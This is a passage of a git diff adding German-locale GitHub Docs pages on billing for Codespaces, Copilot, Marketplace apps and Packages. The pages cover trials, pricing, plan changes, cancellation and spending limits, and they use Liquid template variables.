+Enterprise owners and billing managers can view {% data variables.product.prodname_github_codespaces %} usage for an enterprise account.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.billing-tab %}
+1. Under "{% data variables.product.prodname_codespaces %} monthly usage", view the usage details of each organization in your enterprise account.
+{% data reusables.codespaces.usage-report-download %}
+{% endif %}
+
+## Further reading
+
+- "[Listing the codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/listing-the-codespaces-in-your-organization)"
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md b/translations/de-DE/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md
new file mode 100644
index 0000000000..fe4e466935
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot.md
@@ -0,0 +1,21 @@
+---
+title: About billing for GitHub Copilot
+intro: 'If you want to use {% data variables.product.prodname_copilot %}, you need a subscription for your {% data variables.product.prodname_dotcom %} account.'
+product: '{% data reusables.gated-features.copilot-billing %}'
+versions:
+  feature: copilot
+topics:
+  - Copilot
+shortTitle: Billing for GitHub Copilot
+---
+## About billing for {% data variables.product.prodname_copilot %}
+
+If you want to use {% data variables.product.prodname_copilot %}, you will need a subscription for your {% data variables.product.prodname_dotcom %} personal account. For more information about {% data variables.product.prodname_copilot %}, see "[About {% data variables.product.prodname_copilot %}](/en/copilot/overview-of-github-copilot/about-github-copilot)."
+
+Before starting a paid subscription, you can set up a one-time 60-day trial to evaluate {% data variables.product.prodname_copilot %}. To begin a trial, you will need to choose a monthly or yearly billing cycle, and provide a payment method. If you do not cancel the trial before the end of the 60 days, the trial will automatically convert to a paid subscription. You can cancel your {% data variables.product.prodname_copilot %} trial at any time during the 60 days and you won't be charged. If you cancel before the end of the trial, you will continue to have access to {% data variables.product.prodname_copilot %} until the 60-day trial period ends. For more information, see "[Managing your GitHub Copilot subscription](/en/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription)."
+
+## {% data variables.product.prodname_copilot %} pricing
+
+The {% data variables.product.prodname_copilot %} subscription is available on a monthly or yearly cycle. If you choose a monthly billing cycle, you will be billed $10 per calendar month. If you choose a yearly billing cycle, you will be billed $100 per year. You can modify your billing cycle at any time, and the modification will be reflected from the start of your next billing cycle.
+
+A free subscription for {% data variables.product.prodname_copilot %} is available to verified students, teachers, and maintainers of popular open-source repositories on {% data variables.product.company_short %}. If you meet the criteria as an open source maintainer, you will be automatically notified when you visit the {% data variables.product.prodname_copilot %} subscription page. As a student, if you currently receive the {% data variables.product.prodname_student_pack %}, you will also be offered a free subscription when you visit the {% data variables.product.prodname_copilot %} subscription page. For more information about the {% data variables.product.prodname_student_pack %}, see "[Apply to {% data variables.product.prodname_global_campus %} as a student](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student)."
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-copilot/index.md b/translations/de-DE/content/billing/managing-billing-for-github-copilot/index.md
new file mode 100644
index 0000000000..c455a9452f
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-copilot/index.md
@@ -0,0 +1,17 @@
+---
+title: Abrechnung für GitHub Copilot verwalten
+shortTitle: GitHub Copilot
+intro: 'Sie können {% data variables.product.prodname_copilot %} mit einer kostenlosen Testversion ausprobieren, ehe Sie ein Abonnement abschließen, und Ihr Abonnement jederzeit ändern oder kündigen.'
+versions:
+  feature: copilot
+children:
+  - /about-billing-for-github-copilot
+  - /managing-your-github-copilot-subscription
+ms.openlocfilehash: 96947819762933ad78544da4b8347cbc5efef646
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080358'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md b/translations/de-DE/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md
new file mode 100644
index 0000000000..3cd29f0809
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-copilot/managing-your-github-copilot-subscription.md
@@ -0,0 +1,52 @@
+---
+title: Managing your GitHub Copilot subscription
+intro: 'Set up your {% data variables.product.prodname_copilot %} trial and manage your subscription.'
+product: '{% data reusables.gated-features.copilot-billing %}'
+versions:
+  feature: copilot
+type: how_to
+topics:
+  - Copilot
+shortTitle: Your GitHub Copilot subscription
+---
+
+## Setting up a trial of {% data variables.product.prodname_copilot %} 
+
+{% data reusables.copilot.signup-procedure %}
+
+## Modifying your {% data variables.product.prodname_copilot %} subscription
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+1. In the "{% data variables.product.prodname_copilot %}" section, select the **Edit** dropdown.
+   - If you are on a monthly billing cycle, select **Change to yearly billing**.
+   - If you are on a yearly billing cycle, select **Change to monthly billing**.
+   ![Screenshot of GitHub Copilot section on billing page with edit dropdown emphasized](/assets/images/help/copilot/copilot-settings-edit-dropdown.png)
+   
+
+## Canceling your {% data variables.product.prodname_copilot %} subscription
+
+You can cancel your {% data variables.product.prodname_copilot %} subscription at any time. If you cancel during your 60 day trial, you won't be charged. If you do not cancel your {% data variables.product.prodname_copilot %} subscription before the end of the 60 day trial, you will be charged according to the billing cycle you selected when setting up the trial.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+1. In the "{% data variables.product.prodname_copilot %}" section, select the **Edit** dropdown.
+   - If you have a paid subscription, click **Cancel {% data variables.product.prodname_copilot %}**.
+   
+   ![Screenshot of GitHub Copilot section on billing page with cancel GitHub Copilot option emphasized](/assets/images/help/copilot/copilot-billing-edit-dropdown.png)
+
+   - If you are within your 60 day trial period, click **Cancel trial**.
+   ![Screenshot of GitHub Copilot section on billing page with cancel trial option emphasized](/assets/images/help/copilot/copilot-cancel-trial.png)
+
+2. In the "Cancel {% data variables.product.prodname_copilot %}" modal, click **I understand, cancel {% data variables.product.prodname_copilot %}**
+
+   ![Screenshot of GitHub Copilot cancel modal with I understand, cancel GitHub Copilot button emphasized](/assets/images/help/copilot/copilot-cancel-modal.png)
+
+   - If you are within your 60 day trial period, click **I understand, cancel {% data variables.product.prodname_copilot %} trial**.
+
+   ![Screenshot of GitHub Copilot cancel trial modal with I understand, cancel trial button emphasized](/assets/images/help/copilot/copilot-trial-cancel-modal.png)
+
+## Further reading
+
+- [About {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)
+- [Getting started with {% data variables.product.prodname_copilot %}](/copilot/getting-started-with-github-copilot)
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md
new file mode 100644
index 0000000000..76cc9dfeab
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace.md
@@ -0,0 +1,69 @@
+---
+title: Informationen zur Abrechnung für GitHub Marketplace
+intro: 'Wenn du eine kostenpflichtige App in {% data variables.product.prodname_marketplace %} installierst, gilt für dein Abonnement das bestehende Abrechnungsdatum, die Zahlungsmethode und die Quittung deines Kontos.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-marketplace
+  - /articles/about-billing-for-github-marketplace
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Marketplace
+shortTitle: Billing for GitHub Marketplace
+ms.openlocfilehash: 815303fa5c0c1a006a0bd4bd017039cf1e035f15
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145085771'
+---
+{% data variables.product.prodname_marketplace %} enthält kostenlose und kostenpflichtige Apps. Nachdem du eine App gekauft und installiert hast, kannst du sie jederzeit heraufstufen, herabstufen oder kündigen.
+
+{% data reusables.marketplace.marketplace-apps-only %}
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+## Zahlungsmethoden und Abrechnungszeitraum für {% data variables.product.prodname_marketplace %}-Käufe
+
+Du verwendest die gleiche Zahlungsmethode für alle kostenpflichtigen Pläne und Abonnements über {% data variables.product.prodname_dotcom %} hinweg.
+
+Wenn für dein persönliches Konto oder deine Organisation keine Zahlungsmethode hinterlegt ist und du einen kostenpflichtigen Plan für eine App auswählst, gilt Folgendes:
+- Dein Abrechnungsdatum ist heute.
+- Du musst deinem persönlichen Konto oder der Organisation, in der du die App installieren möchtest, eine Zahlungsmethode hinzufügen.
+- Der gesamte Betrag deines Abonnements wird über deine Zahlungsmethode abgerechnet.
+- Deine Quittung wird an die primäre oder Abrechnungs-E-Mail-Adresse gesendet, die für dein persönliches Konto oder deine Organisation hinterlegt ist.
+
+Wenn für dein persönliches Konto oder deine Organisation eine vorhandene Zahlungsmethode hinterlegt ist und du einen kostenpflichtigen Plan für eine App auswählst, gilt Folgendes:
+- Basierend auf der verbleibenden Zeit bis zu deinem nächsten Abrechnungsdatum wird sofort ein anteiliger Betrag über deine hinterlegte Zahlungsmethode abgerechnet.
+- Das monatliche oder jährliche Abrechnungsdatum für dein App-Abonnement ist das gleiche wie das reguläre Abrechnungsdatum des Kontos oder der Organisation.
+- Am nächsten Abrechnungsdatum werden auf deiner Quittung die Gebühren für deinen kostenpflichtigen {% data variables.product.prodname_dotcom %}-Plan und dein App-Abonnement aufgeführt.
+
+Wenn du einen kostenpflichtigen Plan mit einer kostenlosen Testperiode auswählst, gilt Folgendes:
+- Du musst eine bestehende Zahlungsmethode haben oder eine neue Zahlungsmethode für dein persönliches Konto oder die Organisation hinzufügen, in dem du die App installieren möchtest.
+- Wenn du keine weiteren kostenpflichtigen Pläne oder Abonnements hast, wird Dir am Ende der 14-tägigen kostenlosen Testperiode der volle Betrag deines Abonnements berechnet.
+- Wenn du weitere kostenpflichtige Pläne oder Abonnements hast, wird am Ende der 14-tägigen kostenlosen Testperiode basierend auf der verbleibenden Zeit bis zu deinem nächsten Abrechnungsdatum sofort ein anteiliger Betrag über deine hinterlegte Zahlungsmethode abgerechnet.
+- Wenn du weitere kostenpflichtige Pläne oder Abonnements hast, werden an deinem nächsten Abrechnungsdatum auf deiner Quittung die Gebühren für deinen kostenpflichtigen {% data variables.product.prodname_dotcom %}-Plan und dein App-Abonnement aufgeführt.
+
+{% data reusables.user-settings.context_switcher %}
+
+## Begrenzungen für einheitenbasierte Pläne
+
+Wenn du eine kostenlose Testperiode für einen kostenpflichtigen Plan kündigst, endet dein Abonnement sofort und du verlierst den Zugang zur App. Weitere Informationen findest du unter [Abrechnungsplan für eine {% data variables.product.prodname_marketplace %}-App heraufstufen](/articles/upgrading-the-billing-plan-for-a-github-marketplace-app).
+
+## Eine {% data variables.product.prodname_marketplace %}-App herabstufen
+
+Wenn du dein App-Abonnement auf einen günstigeren Plan herabstufst oder ein bezahltes App-Abonnement kündigst, werden deine Änderungen am Ende deines aktuellen Abrechnungszeitraums wirksam. Dein Abonnement wird am nächsten Abrechnungsdatum auf deinen neuen Plan umgestellt.
+
+Wenn du eine App mit einem kostenlosen Plan kündigst, endet dein Abonnement sofort und du verlierst den Zugang zur App.
+
+{% data reusables.marketplace.downgrade-marketplace-only %}
+
+Wenn du eine kostenlose Testperiode für einen kostenpflichtigen Plan kündigst, wird dein Abonnement umgehend gekündigt, und du kannst nicht mehr auf die App zugreifen. Weitere Informationen findest du unter [Eine {% data variables.product.prodname_marketplace %}-App kündigen](/articles/canceling-a-github-marketplace-app).
+
+## Weitere Informationsquellen
+
+- [Informationen zum {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)
+- [Apps in {% data variables.product.prodname_marketplace %} kaufen und installieren](/articles/purchasing-and-installing-apps-in-github-marketplace)
+- [{% data variables.product.prodname_marketplace %}-Support](/articles/github-marketplace-support)
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
new file mode 100644
index 0000000000..6c80c5ca98
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md
@@ -0,0 +1,62 @@
+---
+title: Canceling a GitHub Marketplace app
+intro: 'You can cancel and remove a {% data variables.product.prodname_marketplace %} app from your account at any time.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/canceling-a-github-marketplace-app
+  - /articles/canceling-an-app-for-your-personal-account
+  - /articles/canceling-an-app-for-your-organization
+  - /articles/canceling-a-github-marketplace-app
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Cancellation
+  - Marketplace
+  - Organizations
+  - Trials
+  - User account
+shortTitle: Cancel a Marketplace app
+---
+When you cancel an app, your subscription remains active until the end of your current billing cycle. The cancellation takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+When you cancel a free trial on a paid plan, your subscription is immediately canceled and you will lose access to the app. If you don't cancel your free trial within the trial period, the payment method on file for your account will be charged for the plan you chose at the end of the trial period. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+{% data reusables.marketplace.downgrade-marketplace-only %}
+
+## Canceling an app for your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.marketplace.cancel-app-billing-settings %}
+{% data reusables.marketplace.cancel-app %}
+
+## Canceling a free trial for an app for your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.marketplace.cancel-free-trial-billing-settings %}
+{% data reusables.marketplace.cancel-app %}
+
+## Canceling an app for your organization
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.marketplace.cancel-app-billing-settings %}
+{% data reusables.marketplace.cancel-app %}
+
+## Canceling a free trial for an app for your organization
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.marketplace.cancel-free-trial-billing-settings %}
+{% data reusables.marketplace.cancel-app %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
new file mode 100644
index 0000000000..4bc8c33ca3
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -0,0 +1,48 @@
+---
+title: Downgrading the billing plan for a GitHub Marketplace app
+intro: 'If you''d like to use a different billing plan, you can downgrade your {% data variables.product.prodname_marketplace %} app at any time.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/downgrading-the-billing-plan-for-a-github-marketplace-app
+  - /articles/downgrading-an-app-for-your-personal-account
+  - /articles/downgrading-an-app-for-your-organization
+  - /articles/downgrading-the-billing-plan-for-a-github-marketplace-app
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Downgrades
+  - Marketplace
+  - Organizations
+  - User account
+shortTitle: Downgrade billing plan
+---
+When you downgrade an app, your subscription remains active until the end of your current billing cycle. The downgrade takes effect on your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+{% data reusables.marketplace.downgrade-marketplace-only %}
+
+## Downgrading an app for your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.marketplace.downgrade-app-billing-settings %}
+{% data reusables.marketplace.choose-new-plan %}
+{% data reusables.marketplace.choose-new-quantity %}
+{% data reusables.marketplace.issue-plan-changes %}
+
+## Downgrading an app for your organization
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.marketplace.downgrade-app-billing-settings %}
+{% data reusables.marketplace.choose-new-plan %}
+{% data reusables.marketplace.choose-new-quantity %}
+{% data reusables.marketplace.issue-plan-changes %}
+
+## Further reading
+
+- "[Canceling a {% data variables.product.prodname_marketplace %} app](/articles/canceling-a-github-marketplace-app/)"
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/index.md b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/index.md
new file mode 100644
index 0000000000..4b3fcf1787
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/index.md
@@ -0,0 +1,25 @@
+---
+title: Abrechnung für Ihre GitHub Marketplace-Apps verwalten
+shortTitle: GitHub Marketplace apps
+intro: 'Du kannst {% data variables.product.prodname_marketplace %}-Apps jederzeit upgraden, herabstufen oder kündigen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps
+  - /articles/managing-your-personal-account-s-apps
+  - /articles/managing-your-organization-s-apps
+  - /articles/managing-billing-for-github-marketplace-apps
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-marketplace
+  - /upgrading-the-billing-plan-for-a-github-marketplace-app
+  - /downgrading-the-billing-plan-for-a-github-marketplace-app
+  - /canceling-a-github-marketplace-app
+ms.openlocfilehash: b4db06f7425a42ce7befa58e052acda94416dab4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085760'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
new file mode 100644
index 0000000000..56ba39b6c9
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md
@@ -0,0 +1,42 @@
+---
+title: Upgrading the billing plan for a GitHub Marketplace app
+intro: 'You can upgrade your {% data variables.product.prodname_marketplace %} app to a different plan at any time.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/upgrading-the-billing-plan-for-a-github-marketplace-app
+  - /articles/upgrading-an-app-for-your-personal-account
+  - /articles/upgrading-an-app-for-your-organization
+  - /articles/upgrading-the-billing-plan-for-a-github-marketplace-app
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Marketplace
+  - Organizations
+  - Upgrades
+  - User account
+shortTitle: Upgrade billing plan
+---
+When you upgrade an app, your payment method is charged a prorated amount based on the time remaining until your next billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)."
+
+## Upgrading an app for your personal account
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.marketplace.upgrade-app-billing-settings %}
+{% data reusables.marketplace.choose-new-plan %}
+{% data reusables.marketplace.choose-new-quantity %}
+{% data reusables.marketplace.issue-plan-changes %}
+
+## Upgrading an app for your organization
+
+{% data reusables.marketplace.marketplace-org-perms %}
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.billing_plans %}
+{% data reusables.marketplace.upgrade-app-billing-settings %}
+{% data reusables.marketplace.choose-new-plan %}
+{% data reusables.marketplace.choose-new-quantity %}
+{% data reusables.marketplace.issue-plan-changes %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md b/translations/de-DE/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md
new file mode 100644
index 0000000000..dcdfa5e6df
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-packages/about-billing-for-github-packages.md
@@ -0,0 +1,79 @@
+---
+title: About billing for GitHub Packages
+intro: 'If you want to use {% data variables.product.prodname_registry %} beyond the storage or data transfer included in your account, you will be billed for additional usage.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/about-billing-for-github-packages
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/about-billing-for-github-packages
+versions:
+  fpt: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Packages
+  - Spending limits
+shortTitle: About billing
+---
+## About billing for {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.packages-billing %}
+
+{% data reusables.package_registry.packages-spending-limit-brief %} For more information, see "[About spending limits](#about-spending-limits)."
+
+{% note %}
+
+**Billing update for container image storage:** The period of free use for container image storage and bandwidth for the {% data variables.product.prodname_container_registry %} has been extended. If you are using {% data variables.product.prodname_container_registry %} you'll be informed at least one month in advance of billing commencing and you'll be given an estimate of how much you should expect to pay. For more information about the {% data variables.product.prodname_container_registry %}, see "[Working with the Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)."
+
+{% endnote %}
+
+{% ifversion ghec %}
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% endif %}
+
+Data transfer resets every month, while storage usage does not.
+
+Product | Storage | Data transfer (per month)
+------- | ------- | ---------
+{% data variables.product.prodname_free_user %} | 500MB | 1GB
+{% data variables.product.prodname_pro %} | 2GB | 10GB
+{% data variables.product.prodname_free_team %} for organizations | 500MB | 1GB |
+{% data variables.product.prodname_team %} | 2GB | 10GB
+{% data variables.product.prodname_ghe_cloud %} | 50GB | 100GB
+
+All data transferred out, when triggered by {% data variables.product.prodname_actions %}, and data transferred in from any source is free. We determine you are downloading packages using {% data variables.product.prodname_actions %} when you log in to {% data variables.product.prodname_registry %} using a `GITHUB_TOKEN`.
+
+||Hosted|Self-Hosted|
+|-|-|-|
+|Access using a `GITHUB_TOKEN`|Free|Free|
+|Access using a {% data variables.product.pat_generic %}|Free|$|
+
+Storage usage is shared with build artifacts produced by {% data variables.product.prodname_actions %} for repositories owned by your account. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)."
+
+{% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where the package is published. If your account's usage surpasses these limits and you have set a spending limit above $0 USD, you will pay $0.008 USD per GB of storage per day and $0.50 USD per GB of data transfer.
+
+For example, if your organization uses {% data variables.product.prodname_team %}, allows unlimited spending, uses 150GB of storage, and has 50GB of data transfer out during a month, the organization would have overages of 148GB for storage and 40GB for data transfer for that month. The storage overage would cost $0.008 USD per GB per day or approximately $37 USD for a 31-day month. The overage for data transfer would cost $0.50 USD per GB or $20 USD.
+
+{% data reusables.dotcom_billing.pricing_calculator.pricing_cal_packages %}
+
+At the end of the month, {% data variables.product.prodname_dotcom %} rounds your data transfer to the nearest GB.
+
+{% data variables.product.prodname_dotcom %} calculates your storage usage for each month based on hourly usage during that month. For example, if you use 3 GB of storage for 10 days of March and 12 GB for 21 days of March, your storage usage would be:
+
+- 3 GB x 10 days x (24 hours per day) = 720 GB-Hours
+- 12 GB x 21 days x (24 hours per day) = 6,048 GB-Hours
+- 720 GB-Hours + 6,048 GB-Hours = 6,768 GB-Hours
+- 6,768 GB-Hours / (744 hours per month) = 9.0967 GB-Months
+
+At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. Therefore, your storage usage for March would be 9.097 GB.
+
+Your {% data variables.product.prodname_registry %} usage shares your account's existing billing date, payment method, and receipt. {% data reusables.dotcom_billing.view-all-subscriptions %}
+
+{% data reusables.user-settings.context_switcher %}
+
+## About spending limits
+
+{% data reusables.package_registry.packages-spending-limit-detailed %}
+
+For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages)."
+
+{% data reusables.dotcom_billing.actions-packages-unpaid-account %}
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-packages/index.md b/translations/de-DE/content/billing/managing-billing-for-github-packages/index.md
new file mode 100644
index 0000000000..fd79ec6d48
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-packages/index.md
@@ -0,0 +1,21 @@
+---
+title: Abrechnung für GitHub Packages verwalten
+shortTitle: GitHub Packages
+intro: 'Du kannst deine {% data variables.product.prodname_registry %}-Nutzung ansehen und ein Ausgabenlimit für {% data variables.product.prodname_registry %} festlegen.'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-billing-for-github-packages
+  - /viewing-your-github-packages-usage
+  - /managing-your-spending-limit-for-github-packages
+ms.openlocfilehash: 69d79e1d3e27cba934ab58ea2733379ec3a2fdf2
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145085752'
+---
+
diff --git a/translations/de-DE/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md b/translations/de-DE/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md
new file mode 100644
index 0000000000..1343feeab9
--- /dev/null
+++ b/translations/de-DE/content/billing/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages.md
@@ -0,0 +1,70 @@
+---
+title: Managing your spending limit for GitHub Packages
+intro: 'You can set a spending limit for {% data variables.product.prodname_registry %} usage.'
+product: '{% data reusables.gated-features.packages %}'
+redirect_from:
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-your-spending-limit-for-github-packages
+  - /github/setting-up-and-managing-billing-and-payments-on-github/managing-billing-for-github-packages/managing-your-spending-limit-for-github-packages
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Organizations
+  - Packages
+  - Spending limits
+  - User account
+shortTitle: Your spending limit
+---
+## About spending limits for {% data variables.product.prodname_registry %}
+
+{% data reusables.package_registry.packages-billing %}
+
+{% data reusables.package_registry.packages-spending-limit-brief %}
+
+{% data reusables.actions.actions-packages-set-spending-limit %} For more information about pricing for {% data variables.product.prodname_registry %} usage, see "[About billing for {% data variables.product.prodname_registry %}](/billing/managing-billing-for-github-packages/about-billing-for-github-packages)."
+
+{% ifversion ghec %}
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for {% data variables.product.prodname_registry %} usage beyond the amounts including with your account. For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)."
+{% endif %}
+
+As soon as you set a spending limit other than $0, you will be responsible for any existing overages in the current billing period. For example, if your organization uses {% data variables.product.prodname_team %}, does not allow overages, and publishes a new version of a private package that increases your storage usage for the month from 1.9GB to 2.1GB, publishing the version will use slightly more than the 2GB your product includes.
+
+Because you have not enabled overages, your next attempt to publish a version of the package will fail. You will not receive a bill for the 0.1GB overage that month. However, if you enable overages, your first bill will include the 0.1GB of existing overage for the current billing cycle, as well as any additional overages you accrue.
+
+## Managing the spending limit for {% data variables.product.prodname_registry %} for your personal account
+
+Anyone can manage the spending limit for {% data variables.product.prodname_registry %} for their own personal account.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.billing_plans %}
+{% data reusables.dotcom_billing.manage-spending-limit %}
+{% data reusables.dotcom_billing.monthly-spending-limit %}
+{% data reusables.dotcom_billing.update-spending-limit %}
+
+## Managing the spending limit for {% data variables.product.prodname_registry %} for your organization
+
+Organizations owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an organization.
+
+{% data reusables.organizations.billing-settings %}
+{% data reusables.dotcom_billing.manage-spending-limit %}
+{% data reusables.dotcom_billing.monthly-spending-limit-actions-packages %}
+{% data reusables.dotcom_billing.update-spending-limit %}
+
+{% ifversion ghec %}
+## Managing the spending limit for {% data variables.product.prodname_registry %} for your enterprise account
+
+Enterprise owners and billing managers can manage the spending limit for {% data variables.product.prodname_registry %} for an enterprise account.
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.billing-tab %}
+1. Above "{% data variables.product.prodname_actions %} and Packages monthly usage", click **Spending Limit**.
+  ![Spending limit tab](/assets/images/help/settings/spending-limit-tab-enterprise.png)
